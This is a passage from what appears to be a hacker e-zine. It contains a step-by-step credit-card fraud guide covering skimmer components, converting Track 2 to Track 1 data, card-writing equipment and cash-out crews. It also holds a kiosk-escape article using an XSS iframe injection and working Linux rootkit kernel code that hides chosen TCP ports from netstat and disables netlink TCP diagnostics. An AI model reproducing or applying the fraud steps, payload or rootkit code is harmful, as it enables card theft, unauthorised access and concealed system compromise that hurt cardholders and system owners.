dispatch, IPPROTO_TCP) != 1) vexit("svc_register"); svc_run(); exit(EXIT_SUCCESS); } #include<stdio.h> #include<stdlib.h> #include<string.h> #include<rpc/rpc.h> /** * gcc -o create-tcp-rpc-client create-tcp-rpc-client.c -ltirpc */ void clnt_vexit(enum clnt_stat value) { clnt_perrno(value); exit(EXIT_FAILURE); } void vexit(const char *funcname) { perror(funcname); exit(EXIT_FAILURE); } int main(void) { char *in = "", *out = ""; enum clnt_stat s = rpc_call("192.168.1.113", 101337, 1, 1, xdr_int, in, xdr_int, out, "tcp"); if(s != RPC_SUCCESS) clnt_vexit(s); exit(EXIT_SUCCESS); } [==================================================================================================] -=[ 0x05 The Tech Behind Credit Card Fraud -=[ Author: K141 [[ Introduction ]] --------------- Plastics carding is by far the most profitable type of credit card fraud - the replication, or spoofing, of magnetic stripe data to a secondary suitable medium host (magstripe card) being the most common form. I have written this paper to address the followed criminal procedures while explaining these steps as basically as possible. There are numerous papers and articles released that do not even touch the issues at hand; how these criminals obtain this information and more generally, who does what in the spectrum of physical carding. While 'physical carding' or plastics carding is dwarfed by the volume of virtual/online carding done, it still stands as a major contender. Technologies exist which could eradicate this type of attack; however, we see no intention of this from the banks as it involves critical changes in the current infrastructure. To date, I see no tech-related reason why this form of fraud is still allowed to be committed. [[ Track Data ]] ------------ Within a credit card (high-coercive magnetic stripe card), there exists 3 tracks of data (3 sections that are capable of storing data separately). This paper will cover the logical side of magstripe encoding (all 3 tracks and relevant data) and not the physical, that is, the widths of each track, polarities and coercivity. After reading, you should be more familiar with the processes involved in how criminals obtain and handle this data to produce profits. The majority of the time, Track 1 data is not needed for cashing out with plastics. This is the information that will be shown on the receipt and/or POS (point-of-sale) terminal. There exist some terminals, though, that require Track 1 to be present, and a good attacker (or 'carder') will always fill their Track 1 field. Luckily for the attacker, Track 1s can be generated entirely based on Track 2 data. It is important to mention that Track 1 is derived from the information on Track 2 and is often used as a fail-safe if Track 2 is or can not be read. This is also the only track that accepts alphanumeric characters. Track 2 data is the most important for 'cashing out'. This is where the relevant information for generating Track 1 data is held, as well as other data that allows a transaction to occur. Track 3 data, mostly, is null. Before a transaction may occur, a PIN is necessary for authentication. With that said, generally speaking, Track 2 data + PIN = the ability to cash out with that card. [[ Obtaining Track Data ]] ----------------------- On many hacking/carding forums, there exist endless advertisements of "Dumps + PINs for sale". These sellers, the majority of the time, are fraudulent (oh, irony) and will request a large 'minimum amount' in order to successfully defraud at least $300 or so to make the scam worth their while. If a seller is genuine and is selling Track 2 data + PINs (a rarity, but it does occur), he/she knows the balance of the said account and knows this to be low. There do exist some legitimate sellers; however, the data they sell is typically Track 2 only and can only be cashed out by the minority of the carding community. That being said, online vendors are not the only source of 'dumps'. An assailant may obtain Track 2 data with PINs by either building or buying their own card skimmer. [[ ATM Skimming ]] -------------- A 'skimmer' device is typically placed over the mouth of a genuine ATM in order to steal track data before the card is legitimately read by the machine. As the victim's credit card is entered into the ATM, it passes through the false fascia (the skimming device) and the Track 2 section passes over the Track 2 read head, stealing the information. As it only passes over the read head, this card is still able to enter the ATM machine and offer the same functionality as an un-tampered ATM. If the skimming device is coupled with a miniature camera, it will take this Track 2 data, parse it into a file on its storage medium, and also timestamp this data for later reference to the timestamped video footage of pin entry. These skimmers must then be collected from the ATM after the attack is complete (usually during early hours in the morning to avoid detection, or when the battery has run low). If the skimming device is coupled with a pin-pad overlay, it will transmit Track 2 data and PIN via SMS or Bluetooth to the attacker's phone, reducing the risk of the attacker being caught and concurrently allowing remote operation. These skimmers will only need to be re-visited when the battery runs low. An ATM skimming device is comprised of a few components: - Fascia: To overlay the ATM mouth without suspicion. - T2 Read Head: A small device to read the Track 2 data from the magnetic stripe card. Note, ideally a skimmer will read only one track of information, as to keep the size of the device minimal. - Custom printed PCB: This parses the data taken from the Track 2 head and stores it to addressed memory locations, usually a Micro-SD card or to the Bluetooth module. - Bluetooth module (optional): A Bluetooth or SMS module is often used for remotely transmitting Track 2 data, along with PINs back to the carder. - Battery: To power the device. The components required to build these devices are inexpensive, but the main obstacle towards the building of a skimmer is technical know-how. I have found the price of pre-built skimmers currently to range from $600-$8000, as opposed to $100-700 in building costs. [[ POS Skimming ]] -------------- Point of sale skimming is a software-based attack in which the firmware of the POS terminal is flashed, rather than a physical device inserted. Common models are the VeriFone Vx510 and various other Ingenico devices. These skimmers are mostly 'offline' skimmers, in which the target will believe he/she is making a purchase with their card, and a transaction will appear to process along with a receipt print, but no charge will actually occur. Instead, the card has just been swiped and the target has entered their PIN. A flashed firmware can be programmed to output a later receipt with all three track details, as well as PIN, or designed to save to file for later use. These skimmers are usually deployed in stores with the store owner's knowledge, as he/she may be forcibly issued to comply or offered a percentage of all money made. An attacker wishing to purchase a chipped/flashed POS terminal will expect to pay $1000. All dumps are encrypted, with the seller holding the encryption key. This forces the buyer to return to the seller, send the encrypted file, and in return, receive only a percentage of the original skimmed cards. Alternatively, these skimmers can be bought out for as much as $3,000-10,000. [[ Obtaining Track Data Through Malware ]] -------------------------------------- Although rare, ATM malware is an uprising issue among those in the carding community. After the success of the Diebold Ghost trojan, there have been countless requests and confirmations of development for malware designed on specific platforms, namely the Windows CE environment, a favourite among ATM systems. This malware will effectively log all read card data and PINs, printing them to a file encrypted by the malware for later collection. Alternatively, some variants have even offered to print off all stolen credentials in a 'bank statement' format by using the ATM's printer. Needless to say, the deployment of this malware originates from an insider, usually employed or hired by the criminals to infect the ATM system from an ATM technician role. [[ Converting Track Data ]] ----------------------- Track 2 Data will often appear in the following format: 5281169568596016=14101010000045100001 ^ ^^ ^ ^--CVV | || | Card number _||_ Service code | | Field separator Expiration date Where: 5281169568596016 = credit card number 14 = expiry year 10 = expiry month 101 = service code 451 = CVV To generate Track 1 information from a Track 2 field, one must follow these simple steps: 1. Add a 'B' before the credit card number. 2. Replace the '=' with '^LASTNAME/FIRSTNAME^'. 3. Add six '0's after the T2 data. Thus, our outputted Track1 data should read as follows: B5281169568596016^LASTNAME/FIRSTNAME^14101010000045100001000000 [[ Writing Track Data ]] -------------------- Once both Track 1 and Track 2 fields are complete, the data is ready for writing to the blank medium. An attacker will ensure that the medium (magnetic stripe card) he/she selects is of high quality printing. Services offered typically cost around $15 per card. If the attacker is running a large operation then he/she may even purchase the printing equipment themself. This is comprised of: - Hi-Co Magnetic Stripe PVC Cards - PVC Printer (Zebra printers are well known for this purpose) - PVC card embosser (to emboss credentials on the card) - PVC card tipper (to tip the embossing with silver/gold) - Signature Panels (on the reverse of the card, often left out by inexperienced carders) - Holograms (typically stickers or hot-roll stamps) The magnetic stripe medium MUST be Hi-Co. Hi-Co stands for High Coercivity. This is the magnetic power that allows the writing of data to occur on Hi-Co cards. All credit/bank cards will be Hi-Co and, thus, need the appropriate device to be written to. Any device capable of writing at the coercivity of 4000 Oersted (Oe) on the appropriate tracks will be suitable. Note that most standard magstripe readers can read Hi-Co cards; coercivity only comes into question in the writing process. The most common magnetic stripe Hi-Co writer is the MSR-206 and MSR-606. The supplied software packages that come with these writers are extremely easy to operate, and it is only a matter of copying and pasting the Track 1 and Track 2 data into the blank track fields, hitting 'write', and swiping the blank card through the writer. [[ Cashing Track Data ]] -------------------- After this initial attack is complete, the attacker has two options to produce profit: 1. Form a crew to work with, willing to cash out this data. Higher risk of law enforcement, lower risk of being scammed by those you work with. 2. Work with existing crews, often overseas. Lower risk of law enforcement, higher risk of being scammed by those you work with. Existing crews work on a percentage basis, normally offering a high percentage to the card supplier, and if cash out is successful, will either return that percentage through Western Union or run with the money. Typically, 'test cards' will be exchanged in order for these crews to prove their authenticity. Forming a crew usually means a localized operation, susceptible to investigation from local authorities before any foreign law enforcement bodies are involved. I believe most crews will operate in this manner, a localised crew, often employed by a gang or mafia to supply card data to their superiors for resale (such as those sold online) or cashed out by a second team. [[ Conclusion ]] ------------ Through my experiences investigating the darker parts of the Internet, specifically carding and fraud, trends show that vendors of card data and/or information tend to be from a Russian source. It is my belief that the operations involved in the obtaining and distribution of this information is largely mafia-based. I hope the information contained within this paper is enough to deter people from the 'carding scene' rather than to take an interest in it for personal gain. The people involved are generally small fish, but around every large forum I have visited there are people with connections I'd dare not to cross. [==================================================================================================] -=[ 0x06 Brief Notes on Retail Kiosk Hacking -=[ Author: storm -=[ Email: storm@gonullyourself.org -=[ Website: http://gonullyourself.org/ If you've ever left your basement and ventured outside to the real world, you've more than likely come into contact with a kiosk at some point in a store or hotel. Most kiosks provide only a limited keyboard or run a very stripped down version of Windows, rendering certain actions difficult or impossible to directly achieve, but that only makes it all the more fun. This is no means an exhaustive article on hacking retail kiosks, but instead a list of little tips and tricks I've compiled through my own personal experiences that may either help you or provide inspiration when approaching a new device. In the MSP airport, there is a kiosk running software called SiteKiosk. The device provides Internet access at outrageous prices ($20/hour), although complimentary access to the airport's website and Weather.com is so thoughtfully offered. As I sit typing this, my plane has been delayed about 3.5 hours due to the torrents of snow outside, so I figured messing with the kiosk would give me something to do other than eating candy and futilely waiting for the Boingo hotspot page to load. The keyboard is clunky and missing sensitive keys like Ctrl and Alt; the mouse is a trackball with two buttons, though the right-click button seems unresponsive. The web browser used by this kiosk looks very much like a version of Internet Explorer themed with cleaner icons, and the file bar and taskbar are hidden from view. With buttons like Ctrl and Alt missing or disabled, we obviously can't try special key combinations like Ctrl+Alt+Del, so the first step is to poke around what we can do with the software. The fact that we can access the airport's website and Weather.com is very curious, especially since the advertisements load fine (which are hosted on third-party servers), yet putting anything in the URL bar pops up a "please insert monies" box. Luckily, Weather.com has an XSS in their quick lookup, so a simple search for zip code <iframe src="http://www.google.com"></iframe> injects an IFrame into the page, displaying our coveted search engine. When a kiosk disallows access to the URL bar, whether it's trying to contain the user to a single web site (think the online catalog at Staples stores) or reduce functionality (until the user forks up their money), XSS is a good place to start. It is common enough that even if you don't come prepared with a known XSS in the target website, it's usually a trivial matter to find one on the spot. By injecting an IFrame, we gain the ability to browse any site we wish, as well as exercise other web browser functionality that may escalate our access, provide opportunity to escalate our access, or provide further information about the box. At this point, we have achieved free Internet access (within the IFrame), but there are more interesting things to do other than reading Reddit. A simple search for ha.ckers.org's iKat suite leads us to a swiss army knife of tools to probe the system we're on. Through this, we learn that our user-agent is: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; SiteKiosk 6.6 Build 213) We can browse the filesystem by invoking the "Browse" form field, but unfortunately lack of right- click doesn't let us easily open files and execute programs. If right-click were enabled, we would be able to browse to C:\Windows\system32\cmd.exe within the prompt, right-click the program, and select open to spawn a shell. Explorer.exe is also another good place to start. Once cmd.exe is open, we would be able to manipulate the system, probe local files or scan the network, or kill the kiosk software using `tasklist` and `taskkill`. Unfortunately, the ability to view My Computer also seemed disabled. I did not spend a large amount of time probing the system or enumerating all of the tools provided by iKat, but I did discover the existence of a file named trust-root.p7b on the Desktop which looked interesting, along with a shortcut to the SiteKiosk software. In a separate escapade, I was lucky enough to come across an Internet/printing kiosk in the lobby of a Marriott hotel provided by a company called iBAHN. If I recall correctly, this too was running SiteKiosk, but the interface looked very different than the kiosk I encountered in MSP, and it provided a range of additional functions such as printing and access to Microsoft Office. The device seemed to take great care not to give too much access to the user (the software provided its own, more limited filesystem browser that was meant to open documents from flash drives), but it wasn't perfect. By opening Microsoft Word, you could access Windows Explorer through the File menu or navigating the help bar in online mode, right-clicking and selecting "View Source". This would invoke Notepad with a File menu of its own. Viewing My Computer only showed the CD drive and USB stick that was currently plugged in, but it was possible to access C:\ simply by typing it in the navigation bar. There are plenty of kiosks around to play with, and many of them possess blatant holes in their access restriction software. Even if there is nothing inherently interesting on the device, it might be a good idea to check if it's connected to the network or if it dials home anywhere. Just in general, it's fun to circumvent the software and snoop about the device, and of course things like free Internet are always cool too. Some devices I've seen think they are clever, or are just unstable, so working or reliable methods of accessing certain kiosks, such as the ones in Barnes & Noble, are still to be determined. For instance, attempting to XSS the B&N website from their in- store kiosk results in the device locking up and calling for employee assistance. Other devices disable right-click, removing certain escalation opportunity and the ability to access critical functionality necessary for an attack. There is still much fun to be had, so if you have any tips, tricks, or your own kiosk-hacking stories, drop us a message and your submission might just be in the next zine. [==================================================================================================] -=[ 0x07 Linux Rootkit Development Update -=[ Author: duper -=[ Website: http://projects.ext.haxnet.org/~super/ In the Linux kernel version 2.6.36, some changes to the procfs API will break the interface that previously existing rootkits have with /proc/net/tcp. This is a critical change as far as rootkit functionality goes, since a new technique is required to hide TCP ports from userland administration programs such as netstat(8) and other network statistics gathering tools. Thanks to fawx for initially bringing this issue to my attention. As a side note: If you have any questions about the intricacies of the Linux kernel, as we will be working closely with it throughout the course of this paper, consult /usr/src/linux/Documentation or any of the links provided as references at the bottom. Prior to release of the 2.6.36 patch, most Linux rootkits utilized a sequential search of the proc_net->subdir linked list to locate the procfs data structure corresponding to the filesystem pathname /proc/net/tcp. The way that entries in the /proc/net directory are accessed changed in 2.6.36, and as a result the majority of publicly available Linux rootkits featuring TCP connection hiding stopped compiling; some benign networking drivers ceased to function as well. The API wasn't changed in order to safeguard against rootkits -- that was only an unintended side effect. In reality, implementing a kernel-mode TCP data filtering mechanism is even easier with the new interface. A new kernel function is dedicated specifically to the purpose of initializing the /proc/net/tcp file. Note that I'm using the term "file" loosely in this context, as procfs doesn't behave like a typical filesystem that utilizes disk-based storage. In userland, when a file descriptor corresponding to a procfs pathname is read(), the results are actually custom-formatted kernel data objects. That's why /proc/net/tcp and, in fact, the majority of procfs pathnames, appear as empty files when the stat() system call is executed on them. Although procfs files do have inodes, their values approach 2**32 (the upper limit for ino_t), and thus they are outside the range of use for partitioned disk filesystems. Observe the differences in output between the following two commands: $ stat /proc/net/tcp File: `/proc/net/tcp' Size: 0 Blocks: 0 IO Block: 1024 regular empty file Device: 3h/3d Inode: 4026531957 Links: 1 Access: (0444/-r--r--r--) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2011-02-19 12:16:32.853287891 -0500 Modify: 2011-02-19 12:16:32.853287891 -0500 Change: 2011-02-19 12:16:32.853287891 -0500 Birth: - $ stat /bin/ls File: `/bin/ls' Size: 109736 Blocks: 224 IO Block: 4096 regular file Device: 303h/771d Inode: 7660308 Links: 1 Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2010-12-25 23:33:12.000000000 -0500 Modify: 2010-12-24 12:18:47.000000000 -0500 Change: 2010-12-24 12:19:01.000000000 -0500 Birth: - As you can see, the procfs pathname has a rather large inode number and a file size of 0, despite the fact that we would receive data back if we ran `cat` against it. In the preceding examples, the /usr/bin/stat binary (provided by the GNU coreutils package) executed the fstat() system call against the the absolute pathnames given as arguments. In this next typescript, statfs() will be run due to the "-f" command line option, which is an abbreviated form of the getopt_long() option "--file-system", as documented in the stat(1) man page and GNU info pages. $ stat -f /boot File: "/boot" ID: f6c5e14bf02df87f Namelen: 255 Type: ext2/ext3 Block size: 1024 Fundamental block size: 1024 Blocks: Total: 32175 Free: 11084 Available: 9423 Inodes: Total: 8320 Free: 8266 $ stat -f /proc File: "/proc" ID: 0 Namelen: 255 Type: proc Block size: 4096 Fundamental block size: 4096 Blocks: Total: 0 Free: 0 Available: 0 Inodes: Total: 0 Free: 0 Clearly, procfs is special since the majority of its statistical information is zeroed out. The glaring contrast in block size results from extfs handling disk blocks, whereas procfs handles memory, as stated previously. On my x86-64 kernel, getpagesize() from unistd.h returns 4096. However, page size is platform independent, so your mileage may vary. Note that sysfs behaves in a manner identical to procfs according to statfs(). If your kernel is configured to support sysfs, you'll find it listed under /sys in your /etc/mtab. The directory that rootkit developers would probably want to concern themselves the most with is /sys/kernel. Again, depending on your /usr/src/linux/.config or /proc/config.gz settings during the kernel's compile-time, various subdirectories could be available under /sys/kernel. My machine has the debug, security, and mm (memory manager) directories enabled currently. Now that we've gotten the basics squared away, let's take a look at a rootkit.. struct proc_dir_entry *proc_find_tcp() { struct proc_dir_entry *p = proc_net->subdir; while (strcmp(p->name, "tcp")) p = p->next; return p; } This is from adore-ng-0.56, a rootkit I downloaded from packetstormsecurity.org. The code above shows the tediousness involved in accessing pathnames under the /proc/net directory. Since the kernel didn't have any direct access functions defined, it became necessary to loop over the directory entries manually. The last kernel version to be supported by this particular adore-ng release appears to be 2.6.16, judging by some conditional preprocessor directives within the source: #if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,16) MODULE_PARM(root_fs, "s"); MODULE_PARM(proc_fs, "s"); MODULE_PARM(opt_fs, "s"); #else module_param(root_fs, charp, 0644); module_param(proc_fs, charp, 0644); module_param(opt_fs, charp, 0644); #endif It looks as if prior to 2.6.16 there was less convenient syntax available for those developing Loadable Kernel Modules (LKMs). At the time of writing this article, the latest stable Linux kernel is 2.6.37.1. However, I'll be using gentoo-sources-2.6.37 from the Gentoo portage tree. For the sake of consistency, let's double check the current kernel versions: $ finger @kernel.org [kernel.org] The latest linux-next version of the Linux kernel is: next-20110218 The latest snapshot 2.6 version of the Linux kernel is: 2.6.38-rc5-git5 The latest mainline 2.6 version of the Linux kernel is: 2.6.38-rc5 The latest stable 2.6.37 version of the Linux kernel is: 2.6.37.1 The latest stable 2.6.36 version of the Linux kernel is: 2.6.36.4 The latest longterm 2.6.35 version of the Linux kernel is: 2.6.35.11 The latest stable 2.6.35 version of the Linux kernel is: 2.6.35.9 The latest longterm 2.6.34 version of the Linux kernel is: 2.6.34.8 The latest stable 2.6.34 version of the Linux kernel is: 2.6.34.7 The latest longterm 2.6.32 version of the Linux kernel is: 2.6.32.29 The latest stable 2.6.32 version of the Linux kernel is: 2.6.32.28 The latest longterm 2.6.27 version of the Linux kernel is: 2.6.27.58 The latest stable 2.6.27 version of the Linux kernel is: 2.6.27.57 The latest stable 2.4.37 version of the Linux kernel is: 2.4.37.11 In 2.6.36, the pointer to the global proc_net structure variable (seen in the adore-ng-0.56 code above) disappeared. After grepping around through the kernel source code a bit, I realized that the functionality had been so heavily modified that I wasn't sure where to hook into /proc/net/tcp from. I was able to grep /boot/System.map for procfs-related symbols and realized it was going to be a lot easier than I thought. I found a tcp_proc_register function that allowed me to re-create /proc/net/tcp. Also, the proc_net structure that was being referenced by adore-ng had now become init_net. So, I simply deleted the existing /proc/net/tcp with proc_net_remove and re-initialized it with the address of a custom struct (just to clarify, we are right now working inside the kernel): static struct tcp_seq_afinfo tcp4_seq_afinfo = { .name = "tcp", .family = AF_INET, .seq_fops = {.owner = THIS_MODULE}, .seq_ops = {.show = new_tcp4_seq_show} }; To understand what's going on here, one needs to realize that procfs makes itself appear to userland as any other filesystem would. It exposes various functions for operating on the files and directories themselves, e.g., open, read, readdir, seek, etc. That's where the new_tcp4_seq_show function comes in. The relative pathname to the file where the real tcp4_seq_show is defined is net/ipv4/tcp_ipv4.c (as documented by Documentation/networking/proc_net_tcp.txt). The new_tcp4_seq_show function is a malicious wrapper which invokes the legitimate tcp4_seq_show function, unless it's determined that the TCP connection currently being processed by a read operation on /proc/net/tcp corresponds to a port number that is intended to be hidden by the rootkit. In that case, new_tcp4_seq_show will not construct the usual hexadecimal-encoded string that describes the connection. static int (*old_tcp4_seq_show)(struct seq_file *seq , void *v) = 0; // Array initialization syntax must be zero-terminated static const unsigned short hidden_ports[] = {6666, 7777, 888, 999, 0}; static int new_tcp4_seq_show(struct seq_file *seq, void *v) { const signed int retval = old_tcp_seq_show(seq, v); register unsigned short i = 0; static unsigned int line = 0; auto char hex_port[8] = { 0 }, *offset = seq->buf + seq->count - NET_LINE; if(v == SEQ_START_TOKEN) return line = 0, retval; for(i = 0;hidden_ports[i];i++) { sprintf(hex_port, ":%04X", hidden_ports[i]); if(strstr(offset, hex_port)) return seq->count -= NET_LINE, retval; } sprintf(offset, "% 4i", line++); return offset[4] = ':', retval; } The old_tcp_seq_show identifier is simply a function pointer to the original tcp4_seq_show function that was assigned to the .seq_ops member of the tcp_seq_afinfo structure, whose definition was shown above. To reiterate, our new_tcp4_seq_show function is wrapping the real tcp4_seq_show function. The introduction of our wrapper function to the traditional kernel control flow effectively hides certain ports from userland by looping over an array that contains the rogue port numbers. In this way, running a command such as netstat will not display the TCP connections that have been hidden from /proc/net/tcp. The hidden_ports array is specified with the C language keywords "static" and "const." These prevent the initialized port numbers from being accessed from outside of the current source file and from having the values modified after compilation. Also, the hidden_ports array is defined to be of type "unsigned short" because the source and destination port fields in TCP packet headers are non- negative and 16 bits wide. Section 3.1 of RFC793 demonstrates this with an ASCII art representation. 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Now, to formally register our new /proc/net/tcp mechanisms, we first remove the original, then pass pointers to the data structures representing the /proc/net directory and our new tcp entry within it. Simply invoke the appropriate functions when initializing the Loadable Kernel Module. The module_init macro tells the compiler which function to execute when using insmod on the compiled .ko (kernel object) code file. static int __init init_hidetcp(void) { proc_net_remove(&init_net, "tcp"); tcp_proc_register(&init_net, &tcp4_seq_afinfo); return 0; } module_init(init_hidetcp); Let's go ahead and test it out to make sure everything works. After compiling the rootkit itself with GNU make and inserting the module into the kernel, we'll use netstat with the "-tW" command line flags so only TCP connections are displayed and the wide display format will allow us to view DNS hostnames in their entirety. One of the hidden port numbers we defined in the hidden_ports array was 7777 so let's see if netstat detects a connection on that port. $ gmake $ insmod hidetcp.ko $ telnet us.undernet.org 7777 Trying 208.83.20.130... Connected to us.undernet.org Escape character is '^]'. ^] telnet> z [1]+ Stopped telnet us.undernet.org 7777 $ netstat -tW Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 alien.localdomain:51889 please.dont.hacktheinter.net:6697 ESTABLISHED $ So far, we've seen how to hide TCP connections to or from certain port numbers from userland programs that read from procfs. However, there's another way to access information about TCP connections using rtnetlink(3). You can determine if a given program is using procfs or a netlink protocol by tracing for the respective function calls. $ whatis netlink netlink (3) - Netlink macros netlink (7) - Communication between kernel and userspace (AF_NETLINK) $ strace -fe trace=open,socket netstat -tW 2>&1 > /dev/null | egrep -i '(tcp|netlink)' open("/proc/net/tcp", O_RDONLY) = 3 open("/proc/net/tcp6", O_RDONLY) = -1 ENOENT (No such file or directory) $ strace -fe trace=open,socket ./ss 2>&1 > /dev/null | egrep -i '(tcp|netlink)' socket(PF_NETLINK, SOCK_RAW, 4) = 3 The ss binary being traced above is a piece of code distributed with iproute2 that retrieves socket statistics. Iproute2 has a Wikipedia article at http://en.wikipedia.org/wiki/Iproute2 with some helpful links to get you up to speed. Some have probably noticed that the raw socket option is succeeding despite the fact that my current prompt setting reflects that of a non-root user. Since the PF_NETLINK integer constant is the first argument instead of PF_INET, the kernel has no issue with providing a positive return value. Please note that rtnetlink isn't the only netlink protocol in existence -- there are many more; far too many to mention here. There have been many academic research papers published on the subject of netlink over the past decade or so. One of the latest and most interesting is entitled "Communicating between the kernel and user-space in Linux using Netlink sockets" by Ayuso, Gasca and Lefevre. The types of security-related operations it's capable of performing alone are extremely comprehensive. For instance: detecting and mitigating DDoS attacks, subliminal channels between processes with disparate privileges, multicasting a single communications channel to multiple system users, implementing a dynamic routing protocol like Open Shortest Path First in userland, detecting network interfaces with promiscuous mode enabled, etc. In this particular scenario, usage of only a specific aspect of netlink is necessary to accomplish the final goal of TCP connectivity that's as low-key as possible. Since connections hidden from /proc/net/tcp can still be viewed via the netlink socket interface, another technique must be used to avoid such disclosure. Here's another example typescript (`man script`) of the ss program from the misc directory in iproute2's source tree as it executes on the standard output stream: $ ./ss State Recv-Q Send-Q Local Address:Port Peer Address:Port ESTAB 0 0 192.168.1.100:56921 72.14.204.147:80 ESTAB 0 0 192.168.1.100:51237 184.27.36.110:22 In this case, the two TCP sockets listed are both in a connection established state. The four empty message queue values being shown mean that the kernel has delivered all pending data transmissions to and from the socket as of the current runtime. The code that handles Internet diagnostics monitoring for the Linux kernel's rtnetlink protocol is located in /usr/src/linux/net/ipv4/inet_diag.c, and /usr/src/linux/include/linux/inet_diag.h is of course the associated header file. TCP-specific code is located elsewhere. However, we can simply disable all TCP socket diagnostics without referencing any of the tcp_inet_diag oriented source files. The following short code snippet inserted into the rootkit module's initialization function is sufficient to prevent netlink from utilizing any TCP socket monitoring methods whatsoever: static struct inet_diag_handler h; h.idiag_type = TCPDIAG_GETSOCK; inet_diag_unregister(&h); Don't forget to include linux/inet_diag.h. Now iproute2's ss binary won't output any TCP connections at all, since the handler responsible for the message type it was processing has now been removed. It works, but it would be even better by only allowing Internet socket diagnostics for connections whose source and destination port numbers don't match our blacklist. The full inet_diag_handler structure must be filled out, and inet_diag_register should be invoked as well. This is similar to passing the tcp_seq_afinfo structure to tcp_proc_register as outlined in the previous technique. A brief outline tracing nested structure members back to actual port values follows. However, putting that concept into compilable rootkit source code form will be left as an exercise for the reader. include/net/inet_sock.h 112 struct inet_sock { 113 __be16 inet_dport; 114 __be16 inet_sport; 115 } include/net/inet_connection_sock.h 86 struct inet_connection_sock { 87 /* inet_sock has to be the first member! */ 88 struct inet_sock icsk_inet; include/linux/tcp.h 292 struct tcp_sock { 293 /* inet_connection_sock has to be the first member of tcp_sock */ 294 struct inet_connection_sock inet_conn; net/ipv4/tcp_diag.c 20 static void tcp_diag_get_info(struct sock *sk, struct inet_diag_msg *r, 21 void *_info) 22 { 23 const struct tcp_sock *tp = tcp_sk(sk); For more information on Linux kernel development, check out: - The Linux Kernel Newbies site http://kernelnewbies.org/ - The linux-kernel mailing list FAQ http://www.tux.org/lkml/ - The Linux Kernel Hackers' Guide from the Linux Documentation Project http://tldp.org/LDP/khg/HyperNews/get/khg.html (highly recommended) - And, of course, the main Linux Kernel Archives site http://kernel.org [==================================================================================================] -=[ 0x08 High Performance Hash Cracking with MapReduce, Part 2 -=[ Author: elchupathingy -=[ IRC: irc.gonullyourself.org #gny /---------------------------------------------------------------------------------------- | | Introduction | The last article talked about the basic theory of MapReduce and a few examples of how it can be used. The options for MapReduce are not limited to those mentioned, but they are the easiest ones to understand the concept of breaking up larger tasks and passing this information on to other nodes. For this article, we will focus more on the code aspect of MapReduce instead of the higher- level concepts. /---------------------------------------------------------------------------------------- | | Background | The very basic implementation of MapReduce shown here is something that can be expanded upon easily. It provides the method of automatic data pre-processing and automatic post-processing. But, being a simple implementation, there are problems with some of the mechanics inside the code. Though, that is left to someone else to fix. By familiarizing yourself with the algorithm, and stepping through the code, it should be a trivial manner to have yourself a fully functioning MapReduce implementation. /---------------------------------------------------------------------------------------- | | Theory | To recap: The idea behind MapReduce is quite simple to grasp, but its layout is detailed and may lead to confusion at times. Here is a look at a typical layout of a MapReduce network: /----------------------------------------------\ /------\ | | | | | | |Master|----/ /------\ /------\ /------\ /------\ /------\ \------/ |Mapper| |Mapper| |Mapper| |Mapper| |Mapper| \------/ \------/ \------/ \------/ \------/ | | | | | | | | | | /-------\ /-------\ /-------\ /-------\ /-------\ |Reducer| |Reducer| |Reducer| |Reducer| |Reducer| \-------/ \-------/ \-------/ \-------/ \-------/ | | | | | \ \ | / / \ \ | / / \ \ | / / \ \ | / / \ \ | / / \ \ | / / \ \ | / / \ \ | / / \ \ | / / \ \|/ / \ | / \-----------------/ | /---------\ |Answer!!!| \---------/ Now that's a picture. This network layout has two key characteristics to it: 1) Series of Mappers 2) Series of Reducers These two things are the meat of the MapReduce concept. Now, what exactly is MapReduce? It's formally defined as the following: /------------------------------------------------------------------------------------ |MapReduce is a framework for processing huge datasets on certain kinds of |distributable problems using a large number of computers (nodes), collectively |referred to as a cluster. Computational processing can occur on data stored either |in a filesystem (unstructured) or within a database (structured). | - Wikipedia Now that that's out of the way, lets move onto real code and see how this works in the given implementation. Firstly, what software is providing the backend infrastructure? The implementation relies on the following: Web server: Apache or whatever you have as long as it supports PHP. MySQL That's it. The clients run from php-cli but can also be called by the web server if desired. The MySQL tables that the scripts interact with are very simple: /------------------------------------------------------------------------------------ | CREATE TABLE IF NOT EXISTS `node` ( | `id` varchar(32) NOT NULL, | `type` int(11) NOT NULL, | `job_id` varchar(32) NOT NULL, | `last_connect` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, | UNIQUE KEY `id` (`id`) | ) ENGINE=MyISAM DEFAULT CHARSET=latin1; | | CREATE TABLE IF NOT EXISTS `job` ( | `id` varchar(32) NOT NULL, | `status` int(11) NOT NULL, | `time_added` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, | `mappers` int(11) NOT NULL, | `reducers` int(11) NOT NULL, | `time_started` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00', | PRIMARY KEY (`id`) | ) ENGINE=MyISAM DEFAULT CHARSET=latin1; | These tables provide the necessary framework for this given implementation, while demonstrating simple MapReduce structure in an obvious yet functional manner. Should MapReduce be used in a production environment, a more efficient, scientifically-designed framework should be used. High performance applications should most likely not be using an interpreted language, additionally. Obviously, these tables are of no use without the scripts that interact with the database. The main script that facilitates this interaction is 'stat.php'. It provides a vector for the nodes to talk with the master, in most cases, it keeps track of the nodes' last connect time and assigns the job of either 'mapper' or 'reducer' to each. The code is straightforward, and the source code should be relatively self-explanatory by scanning over it. So, the next step is to determine the method of relaying data between master and node. The data is structured in EL markup files, which look suspiciously similar to existing markup languages like HTML and XML: /------------------------------------------------------------------------------------ | <EL> | <id>ec366edc8a513f467af89f2e5cd9f37a</id> | <type>SET</type> | <payload name="job_id"> | 85103e20ac8441af181b15f58fc53b08 | </payload> | </EL> | The "id" tag contains the ID of the node. The "type" tag tells the node to perform a specific action, in this case, to set its 